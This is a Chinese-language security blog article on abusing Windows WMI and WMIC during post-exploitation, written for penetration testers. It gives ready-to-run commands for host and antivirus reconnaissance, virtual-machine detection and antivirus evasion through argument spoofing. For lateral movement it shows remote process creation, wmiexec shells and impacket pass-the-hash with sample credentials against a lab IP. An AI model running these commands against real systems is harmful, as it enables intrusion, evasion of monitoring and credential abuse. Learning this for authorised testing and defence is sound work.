长亭百川云 - 文章详情

关于后渗透中的WMI

NEO攻防队

57

2024-07-13

前言

WMI是Windows操作系统上WBEM和CIM标准的实现,允许用户、管理员和开发人员(包括攻击者)在操作系统中对各种托管组件进行遍历、操作和交互。具体而言,WMI提供了一个抽象的、统一的面向对象模型,从而不再需要直接与许多不相关的API进行交互  WMI的一个重要特性是能够使用DCOM或WinRM协议与远程机器的WMI模块进行交互,它允许管理员轻松的获取 Windows 系统的配置信息。

简而言之,它是 Windows 中的一个核心管理技术,提供了一个抽象的、统一的面向对象模型。

ATTACK矩阵中也早有对此类攻击的介绍:

WMI信息收集

我们是可以通过powershell来调用WMI的

PowerShell有个Cmdlet调用WMI,可以结合"-class <WMI-Class>"以及一些其他参数进行使用

简单用法:

使用Get-WmiObject -List 可以列出所有的 WMI对象的类

那么可以遵循powershell中Cmdlet动词加名词特性,获取一些我们想要的信息。

例如查询一下主机的CPU信息:

Get-WmiObject win32_processor

还可以进行简单的沙箱规避:

PS C:\Windows\system32> $a="SELECT * from win32_computersystem"

注意:这里的SELECT * from不是我们熟知的sql语句,他是WQL,是WMI中的查询语言,WQL的全称是WMI Query Language,简称为WQL,翻译成中文为Windows管理规范查询语言,他没有INSERT和UPDATE,它只有SELECT.

PS C:\Windows\system32> Get-WmiObject -query $a

如此利用wmi测试出这台机器是VM虚拟机。

为什么wmi会为我们提供统一的接口让我们去获取这些信息?

因为微软为wmi提供了一个类库,所以我们这些软件厂商,硬件厂商会把自己的相应软硬件信息准备成相应的类,然后把类放入库当中。

对于类来说,依据不同的软件或硬件,它有一个叫做命令空间的东西,通过命令空间的方式去组织类,比如命令空间会有一种层级的结构,下面我们进入wmimgmt.msc直观的去理解一下。

控制台打开wmimgmt.msc

查看一下wmi类库

添加本地计算机即可

连接右击属性可以发现给我们展现了当前计算机的相应信息

我们直接进wmi目录

C:\Windows\System32\wbem

我们可以看到很多mof文件,实际上这就是我们不同的产品组,它去开发自己类库的时候,最终封装成的mof文件。

我们现在回到控件,如此一目了然,他就是这种层级的类库形式,红色箭头是这些各种各样的命令空间,绿色箭头是在我们命名空间中相应的类。

WMIC


了解WMI基础的一些知识后,我们来认识一下热门的WMIC。

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批命令脚本执行系统管理的支持,wmic就是wmic.exe,位于windows目录底下,是一个命令行程序。WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式

使用WMIC,你不但可以管理本地计算机,而且可以管理同一Windows域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC,只需要支持WMI即可。

具体实现就是这个wmic.exe ,他位于windows目录底下,是一个命令行程序。

C:\Windows\System32\wbem\WMIC.EXE

利用WMIC进行信息收集

我们完全可以用cmd下来进行信息收集,例如查当前用户,机器在不在域内等等,为什么多此一举用WMI呢?

因为我们可能会遇到态势感知这个东西,我们在对方机器如果执行一些net user的操作,这段语句总要在网络中进行传输,如果这段语句被严格监控,那么只要触发他就可能会被报“您已经被攻击”。WMI它有好处的话就是他可以改变格式,可以加一些过滤信息,攻击者使用wmi来进行攻击,但 Windows 系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。

渗透中wmic一些常用命令

wmic useraccount WHERE "Name='%username%'" set PasswordExpires=false //设置用户永不超期
wmic startup list brief //wmic获取自启信息
wmic volume list brief //wmic获取磁盘分区信息
wmic useraccount list full //wmic获取用户信息
wmic service list full //wmic获取服务信息
wmic SERVICE where name="dhcp" call stopservice //wmic关闭服务
wmic DESKTOPMONITOR get ScreenHeight,ScreenWidth //wmic获取屏幕分辨率
wmic process where processid="3652" delete //wmic关闭进程
wmic process 2345 call terminate //wmic关闭进程
wmic process where name="qq.exe" call terminate //wmic关闭进程
wmic qfe get Caption,Description,HotFixID,InstalledOn //wmic获取补丁安装时间
wmic process where name="ConsoleApplication.exe" get ExecutablePath //查看进程的位置
wmic.exe /node:ip /user:localhost\administrator /password:"password" PROCESS call create "cmd /c whoami"
type \\19\c$\Windows\res.dll //远程命令执行
wmic qfe get hotfixid //查看补丁情况

例如,枚举出目标系统安装的反病毒产品信息,包括安装位置和版本:

wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

当然碰到某些杀软告警时候,可以进行一些简单参数欺骗来实现小小的bypass,思路颇多。

wmic process call create calc  简单弹个计算器被拦

wmic process call "create" "calc" 简单的参数欺骗后便弹出来了

横向移动

使用WMIC连接远程主机需要具备条件:

  1. 远程服务器启动Windows Management Instrumentation服务(默认开启)

  2. 135 端口未被过滤 [默认配置下目标主机防火墙开启将无法连接]

连接失败的常见错误号:

1.开启防火墙时,允许共享例外
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
2.组策略阻止administraotr远程访问时
错误:
代码 = 0x80070005
说明 = 拒绝访问。
设备 = Win32
3.IP安全策略阻止135时
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
4.禁用winmgmt服务时
错误:
代码 = 0x80070422
说明 = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。
设备 = Win32
5.拒绝wbem目录权限,无法使用wmic的

列出远程主机进程:

列出了192.168.52.129这台主机的进程信息

wmic /node:192.168.52.129 /user:administrator /password:Password!! process list brief

远程创建进程:在目标机器192.168.52.129成功执行了系统命令并输出"tubai.txt",在目标指定目录可以发现文件。

wmic /node:192.168.52.129 /user:administrator /password:Password!! process call create "cmd.exe /c ipconfig > c:\tubai.txt"

wmiexec.vbs 自带的wmic没有回显,wmiexec.vbs 脚本利用WMI服务,通过写入临时文件并读取的方式获得回显。

cscript wmiexec.vbs /shell 192.168.52.129 administrator Password!!

可以看到,我们得到了一个半交互式shell。

impacket套件

impacket套件是通过445端口进行通信的,不是135端口。我们这次用windows下的impacket,已经有前人把他转成exe了。

Windows下

https://github.com/maaaaz/impacket-examples-windows

成功得到目标主机shell:

wmiexec.exe administrator:Password!!@192.168.52.129

哈希传递获得shell:

当抓到的密码NTLM解不开咋办呢?老生常谈的问题了,我们也可以利用impacket中wmiexec达到哈希传递的效果来获得一个shell。

命令格式为:

wmiexec.exe -hashes LM哈希:NTLM哈希 域名/用户名@目标IP

wmiexec.exe -hashes e52cac67419a9a22a67a448822b50c99:2b07f7b579bb97532a9eb37753765d8f tubai/administrator@192.168.52.129

参考

https://www.se7ensec.cn/2020/07/12/

https://blog.csdn.net/qq\_27446553/article/details/46008473

总结

随着powershell出现占据了系统管理主流地位,但不可否认WMI依旧是WINDOWS系统管理的利器,他在后渗透中的用法也不是我的一篇浅文能够概过的,本篇文章从wmi基础知识出发,延伸到我们所熟知的横向移动姿势,希望能给阅读的师傅带来帮助,若文章有任何问题望各位师傅斧正!

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2